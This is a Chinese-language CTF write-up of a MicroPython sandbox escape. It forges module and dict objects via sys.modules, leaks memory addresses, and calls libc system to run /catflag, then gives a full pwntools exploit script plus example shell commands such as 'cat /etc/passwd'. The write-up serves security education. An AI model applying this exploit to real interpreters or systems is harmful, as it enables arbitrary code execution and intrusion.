micromicromicropython
RUN git clone --depth 1 --branch v1.27.0 https://github.com/micropython/micropython.git /opt/micropython
这一句可以看出这题用的是一个极简的python解释器micropython
RUN sed -i 's/#define MICROPY_PY_OS (1)/\/\/ #define MICROPY_PY_OS (1)/' \
./variants/minimal/mpconfigvariant.h
这段的意思是把 mpconfigvariant.h里的os宏定义注释掉了,也就是我们用不了os模块的函数
在Python里,os 模块主要负责让 Python 程序能够直接与操作系统(Windows, Linux, macOS)进行交互。
简单来说,os 模块是 Python 和系统内核之间的桥梁,能
- 管理文件和目录:增删改查文件夹。
- 管理进程:启动新程序、杀掉进程。
- 环境变量操作:读取或修改系统的 PATH 等配置。
- 系统调用:直接执行 shell 命令。
常用函数有:
| 函数 | 功能 | 例子 |
|---|---|---|
os.system(cmd) |
在子 shell 中执行命令 | os.system('cat /etc/passwd') |
os.popen(cmd) |
执行命令并打开管道(可以读取结果) | res = os.popen('whoami').read() |
os.listdir(path) |
列出目录下的所有文件 | os.listdir('.') |
os.getcwd() |
获取当前工作目录 | os.getcwd() |
os.environ |
获取系统的环境变量 | os.environ['PATH'] |
RUN chmod 755 /app/run && \
chmod 111 /catflag
题目给了一个后门程序,但是权限设置成了111,也就是只能执行不能读写,也就是我们后面就算获得了读文件能力也不能读catflag来获得flag,我们只能通过执行这个文件获得flag
我们可以先用id()这个函数获得某个对象的地址,也就是泄露pie地址
>>> __import__
<function>
我们发现import机制还是能正常使用的
>>> import sys
>>> sys.modules['m']=123
>>> import m
>>> m
123
我们尝试发现sys模块是可以正常使用的,sys 模块是少数几个能让我们直接窥探并操作解释器内部状态的模块之一,sys.modules 是一个全局字典,它是 Python 的模块缓存站,当我们执行 import x 时,Python会先看 sys.modules 字典里有没有键名为 'x' 的对象,如果缓存里有,直接把这个对象拿出来用。
我们的尝试可以说明 MicroPython 的导入逻辑会信任:sys.modules['m']
也就是说,只要 sys.modules['m'] 里有东西,import m 就会直接把它当模块返回。
正常情况下,模块对象在 C 层长这样:
typedef struct _mp_obj_module_t {
mp_obj_base_t base; // +0x00 类型信息
mp_obj_dict_t *globals; // +0x08 模块全局变量字典
} mp_obj_module_t;
mp_obj_base_t base (偏移 +0x00):
它里面包含一个指针,指向该对象的 Type(类型)。比如,如果这是一个模块,base 就会指向 mp_type_module。
mp_obj_dict_t *globals (偏移 +0x08):
注意它是一个指针:它指向内存中另一个地方,那里才真正存着模块里的函数名、变量名,当你执行 module.variable 时,解释器会先找到 mp_obj_module_t,跳过 8 个字节拿到这个 globals 指针,然后去那个字典里搜。
接着上面的尝试我们输入from m import *,这里会直接崩溃
我们把 m 设为了 123(一个整数对象),而整数对象的结构体(mp_obj_int_t)长得跟 mp_obj_module_t 完全不一样。它在 +0x08 的位置可能存的是数字的值,而不是一个字典指针。
staticmethod(fun) 的结构大概是:
typedef struct {
mp_obj_base_t base; // +0x00
mp_obj_t fun; // +0x08
} mp_obj_static_class_method_t;
那如果我们写
fake_module = staticmethod(fake_dict)
sys.modules['m'] = fake_module
from m import *
MicroPython 会把:
fake_module + 0x08
里面的 fake_dict 当成模块 globals 字典,也就是我们能控制python去把哪块区域当作globals字典
那我们就要想怎么伪造 fake_dict
Module 对象里的 globals 指针指向的是 mp_obj_dict_t 结构体
mp_obj_dict_t (字典对象):
typedef struct {
mp_obj_base_t base; // +0x00
mp_map_t map; // +0x08(这里存的不是指针,就是mp_map_t map结构体)
} mp_obj_dict_t;
而mp_map_t结构体是:
typedef struct _mp_map_t {
size_t all_keys_are_qstrs : 1; // 优化位:是否所有键都是字符串
size_t is_fixed : 1; // 优化位:是否是只读的
size_t is_ordered : 1; // 优化位:是否保持插入顺序
size_t used : (8 * sizeof(size_t) - 3); // 已经使用了多少个槽位 (Used)
size_t alloc; // 总共分配了多少个槽位 (Capacity)
mp_map_elem_t *table; // 【关键】指向实际存储键值对的数组指针
} mp_map_t;
可以简化看成:
typedef struct {
size_t flags_and_used; // +0x08
size_t alloc; // +0x10
mp_map_elem_t *table; // +0x18
} mp_map_t;
table 指向一个数组,数组的每个元素是 mp_map_elem_t,定义如下:
typedef struct _mp_map_elem_t {
mp_obj_t key; // 键
mp_obj_t value; // 值
} mp_map_elem_t;
而MicroPython 的 range(start, stop, step) 对象大概是:
typedef struct {
mp_obj_base_t base; // +0x00
mp_obj_t start; // +0x08
mp_obj_t stop; // +0x10
mp_obj_t step; // +0x18
} mp_obj_range_t;
假设
fake dict = range(meta, 1, table_ptr)
python进行理解时:
mp_map_elem_t -> flags_and_used = meta
mp_map_elem_t -> alloc = 1
mp_map_elem_t -> *table = table_ptr
同时,我们也能用range伪造table表:
fake_table = range(fake_key, fake_value, 1)
当table_ptr被我们伪造为id(fake_table) + 8时
python就会把我们伪造的fake_key/fake_value当成一组 key/value。
然后要理解两个 MicroPython 内部概念:
- mp_obj_t 是什么
- qstr 是什么
1.mp_obj_t是什么
在 MicroPython C 源码里,Python 层的一个对象通常用 mp_obj_t 表示。
在 64 位机器上,mp_obj_t 本质上就是一个 8 字节的值。
这个值有时是真指针,比如:
list
range(1,2,3)
staticmethod(...)
但有时不是指针,而是直接把小整数、字符串编号编码进这个 8 字节值里。
因为正常指针一般 8 字节对齐,所以低 3 bit 通常是 000。MicroPython 就利用低 bit 做 tag。
| 结尾比特位 (LSB) | 代表的意思 | 内存里的实际样子 |
|---|---|---|
...00 |
对象指针 | 这是一个真实的内存地址,指向你之前看的那些结构体(如 mp_obj_dict_t)。 |
...01 |
小整数 (Small Int) | 它不是地址!它直接把数字存在剩下的 62 位里。 |
...10 |
QSTR / 其它 | 代表一个特殊的字符串标识符。 |
...11 |
小浮点数 | 如果开启了该功能,直接存储浮点数。 |
2.qstr 是 MicroPython 的字符串 intern 机制
MicroPython 为了省内存,会把很多常用字符串变成 qstr,也就是 interned string。
比如这些名字:
open
read
VfsPosix
list
range
内部不一定每次都存完整字符串,而是存一个整数 ID。
在这题构建出来的 MicroPython 里,我们用到的 qstr id 是:
| 名称 | 原始 ID (Dec) | 原始 ID (二进制) | 编码后二进制 ((ID << 3) | 2) | 最终十进制 (Dec) |
|---|---|---|---|---|
open |
118 | 0000 0000 0111 0110 |
0000 0011 1011 0010 |
946 |
read |
125 | 0000 0000 0111 1101 |
0000 0011 1110 1010 |
1002 |
VfsPosix |
188 | 0000 0000 1011 1100 |
0000 0101 1110 0010 |
1506 |
以open为例,我们知道open的原始id是 0000 0000 0111 0110,那我们希望python以特殊字符串的形式读取id,那就需要打上 10的tag,我们采用的是((ID << 3) | 2)这个公式,能在结尾打上010这个tag,让前面的id能被python作为id读取
注意,这些 ID 是这个构建版本特定的,不是所有 MicroPython 都一样。
这题Dockerfile显示它基于官方 MicroPython v1.27.0,只 patch 掉 os,所以有一些c对象例如vfs虽然没挂到python的命名空间里但是还是编译进二进制的。
我们可以用我们前面的伪造方法来把隐藏的函数绑定到qstr_id上
def fake_fun(id,target):
payload = f"""
import sys
fake_table = range({id}, {target}, 1)
fake_dict = range(((1 << 3) | 5), 1, id(fake_table) + 8)
sys.modules['m'] = staticmethod(fake_dict)
from m import *
"""
ssend(payload.encode())
这里flag_used设为(1 << 3) | 5是因为:
all_keys_are_qstrs = 1
is_fixed = 0
is_ordered = 1
used = 1
all_keys_are_qstrs = 1
因为我们的 key 是 qstr 对象,也就是 MicroPython 内部字符串的编码。
所以设置:
all_keys_are_qstrs = 1
我们不需要让它只读,设 0 就行:
is_fixed = 0
我们伪造的 table 不是正常 hash 表,而是直接放一组连续的:
mp_map_elem_t {
key;
value;
}
所以希望 MicroPython 按 ordered array 的方式遍历它:
is_ordered = 1
前三个 bit 合起来:
bit2 bit1 bit0 = 1 0 1
也就是二进制:
0b101 = 5
所以这里的 5 代表:
all_keys_are_qstrs | is_ordered
然后是 used = 1。
used 不是从 bit 0 开始,而是从 bit 3 开始,因为低 3 bit 已经被三个 flag 占了。
所以:
used = 1
因为我们每次伪造的字典只放一个键值对:
例如"open" -> vfs_posix_open_obj
要写成:
1 << 3
最后合起来:
flags_and_used = (1 << 3) | 5
例如我们发送 fake_fun(id_open, vfs_open),我们就把一个mp_map_elem_t伪造成了
typedef struct _mp_map_elem_t {
id_open; // 键
vfs_open; // 值
} mp_map_elem_t;
我们就把当前命名空间里的名字 open 绑定到 C 层对象 vfs_posix_open_obj 的地址上,也就是我们输入open实际调用的是vfs_open这个函数
VFS 全称是 Virtual File System(虚拟文件系统)。 MicroPython 的设计目标是运行在各种平台上(比如单片机、Linux、Windows)。
VfsPosix 是一个类 ,它的工作是把 MicroPython 的文件请求(比如 read, write)翻译成 Linux 内核能听懂的指令。
在正常的 MicroPython 启动时,它会自动做这些事:
- 实例化一个
VfsPosix对象。 - 把它“挂载”(Mount)到根目录
/。 - 当你调用普通的vfs_open时,VFS 会自动找到这个挂载的对象,并调用它的成员方法。
也就是这题我们open(vfs_obj, path, mode)第一个参数需要传入vfs对象,所以我们要把创造vfs对象的VfsPosix函数也挂载到命名空间使用
payload3 = """
v = VfsPosix()
maps = open(v, '/proc/self/maps', 'r').read()
print(maps)
"""
open 函数执行成功后,并不会直接把文件里的文字给你,而是返回一个 文件对象 (File Object),在 C 层面,它对应的是 mp_obj_vfs_posix_file_t 结构体,而这个对象自带一个叫 read 的方法。
f = open(v, '/proc/self/maps', 'r')maps = f.read()
.read()会触发底层的 C 函数(通常是 mp_vfs_posix_file_read),去调用 Linux 的 read() 系统调用,它把 /proc/self/maps 里的所有纯文本内容一次性读出来,转换成一个 Python 的字符串对象,并赋值给 maps 变量。
我们也就能获得libc地址了,那我们就获得了system的地址
但是要注意一点
system 只是一个原生函数指针,不是一个合法的 MicroPython 对象。
而 from m import * 导入到命名空间里的 value,必须是一个 MicroPython 能当作对象理解的Builtin Function(内置函数)对象。
也就是说,下面这样不行:
fake_fun(id_open,system)
因为这等价于:
open -> 一个裸的 C 函数地址
Builtin Function(内置函数)对象的结构体大概如下:
// 以固定参数的函数为例
typedef struct _mp_obj_fun_builtin_fixed_t {
mp_obj_base_t base; // +0x00 对象类型标识
union {
mp_fun_0_t fun_0; // +0x08 C 语言函数地址 (0个参数)
mp_fun_1_t fun_1; // +0x08 C 语言函数地址 (1个参数)
mp_fun_2_t fun_2; // +0x08 C 语言函数地址 (2个参数)
mp_fun_3_t fun_3; // +0x08 C 语言函数地址 (3个参数)
} fun;
} mp_obj_fun_builtin_fixed_t;
我们先伪造一个builtinfuncton结构体 ssend(f"system_fun = range({builtin_type}, {system}, 1)".encode())
此时system_fun+8就是我们伪造的builtinfuncton结构体(我们输入的第一个参数位于range结构体的+0x8位置)
然后就能成功挂载到open的命名空间了 fake_fun(id_open, "id(system_fun)+8")
接下来要放置system函数的参数了
我们需要传入这个参数的地址,所以我们先
cmd = range(0x2a632f, 0, 1)
这样cmd+8就是参数的地址了,后面的0,1无所谓
这里我们写的指令是2f 63 2a 00 ...也就是"/c*\0"
这里"/catflag\0”超过了八字节,我们用/c*替代
在 shell 里,* 是通配符,意思是:
匹配任意长度的任意字符
比如在 shell 里敲:
ls /c*
shell 会先去文件系统里找所有匹配 /c* 的路径,比如:
/catflag
/config
/cache
这里我们不能直接open(id(cmd)+8)(这里open已经被我们替换成system了),因为id(cmd)+8是一个int而不是函数指针,所以这里我们先把id(cmd)+8挂载到read名字,这样read这个名字实际上代表着cmd+8这个地址,我们直接open(read)就能执行system("/catflag")获得flag了
这题的
QSTR_OPEN = 118
QSTR_READ = 125
QSTR_VFS_POSIX = 188
可以这样获得
docker build --target builder -t mpy-builder .
docker run --rm -it --entrypoint /bin/sh mpy-builder
然后写一段脚本
cat >/tmp/q.c <<'EOF'
#include <stdio.h>
#include "py/qstr.h"
int main(void) {
printf("open=%d\n", MP_QSTR_open);
printf("read=%d\n", MP_QSTR_read);
printf("VfsPosix=%d\n", MP_QSTR_VfsPosix);
return 0;
}
EOF
然后编译运行
cc \
-I/opt/micropython \
-I/opt/micropython/py \
-I/opt/micropython/ports/unix \
-I/opt/micropython/ports/unix/variants/minimal \
-I/opt/micropython/ports/unix/build-minimal \
/tmp/q.c -o /tmp/q
/tmp/q
就能获得id了
获得pie偏移可以接着上面
cd /opt/micropython/ports/unix
grep -E 'mp_type_list|mp_type_fun_builtin_1|mp_type_vfs_posix|vfs_posix_open_obj' \
build-minimal/micropython.map
grep -A3 -B2 'data.rel.ro.vfs_posix_open_obj' build-minimal/micropython.map
我们能看到:
.data.rel.ro.mp_type_fun_builtin_1
0x000000000002e570 mp_type_fun_builtin_1
.data.rel.ro.mp_type_list
0x000000000002e880 mp_type_list
.data.rel.ro.mp_type_vfs_posix
0x000000000002fa00 mp_type_vfs_posix
.data.rel.ro.vfs_posix_open_obj
0x000000000002fae0 0x10 build-minimal/extmod/vfs_posix.o
查system的偏移是:
cid=$(docker create micromicromicropython-micromicromicropy)
从最终镜像创建一个临时容器
docker cp "$cid":/srv/lib/ld-musl-x86_64.so.1 /tmp/mmpy-ld-musl.so.1
copy出来musl
docker rm "$cid"
readelf -sW /tmp/mmpy-ld-musl.so.1 | grep ' system'
就可以获得system偏移了
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'ncat --ssl micromicromicropython.opus4-7.b01le.rs 8443'
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
use_ssl = '--ssl' in parts
p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)
else:
p= process([
"docker", "run", "--rm", "-i", "--privileged",
"--entrypoint", "/bin/chroot",
"micromicromicropython-micromicromicropy",
"/srv", "/usr/local/bin/micropython", "-i",
])
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def addr(off): return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def bt(*values): return bytes([v & 0xff for v in values])
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf): return binary.address + val
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s):
target = elf
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
if (gadget := rop.find_gadget(instrs)):
lg(s, gadget.address)
return gadget.address
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
QSTR_OPEN = 118
QSTR_READ = 125
QSTR_VFS_POSIX = 188
def qstr_id(qstr):
return (qstr << 3) | 2
def ssend(paylad):
sla(b">> ", paylad)
def fake_fun(id,target):
payload = f"""
import sys
fake_table = range({id}, {target}, 1)
fake_dict = range(((1 << 3) | 5), 1, id(fake_table) + 8)
sys.modules['m'] = staticmethod(fake_dict)
from m import *
"""
ssend(payload.encode())
ssend(b"id(list)")
leak = int(ru(b">"))
pie_base = leak - 0x2E880
id_open = qstr_id(QSTR_OPEN)
vfs_open = pie_base + 0x2FAE0
fake_flags_used = (1 << 3) | 5
fake_fun(id_open, vfs_open)
id_vfs = qstr_id(QSTR_VFS_POSIX)
vfs_type = pie_base + 0x2FA00
fake_fun(id_vfs, vfs_type)
payload3 = """
v = VfsPosix()
maps = open(v, '/proc/self/maps', 'r').read()
print(maps)
"""
ssend(payload3.encode())
ru(b"[vdso]\n")
leak = int(r(12), 16)
lg("libc_base", leak)
system = leak + 0x5C5B6
builtin_type = pie_base + 0x2E570
ssend(f"system_fun = range({builtin_type}, {system}, 1)".encode())
fake_fun(id_open, "id(system_fun)+8")
ssend(b"cmd = range(0x2a632f, 0, 1)")
id_read = qstr_id(QSTR_READ)
fake_fun(id_read, "id(cmd)+8")
ssend(b"open(read)")
it()
题目链接:待更新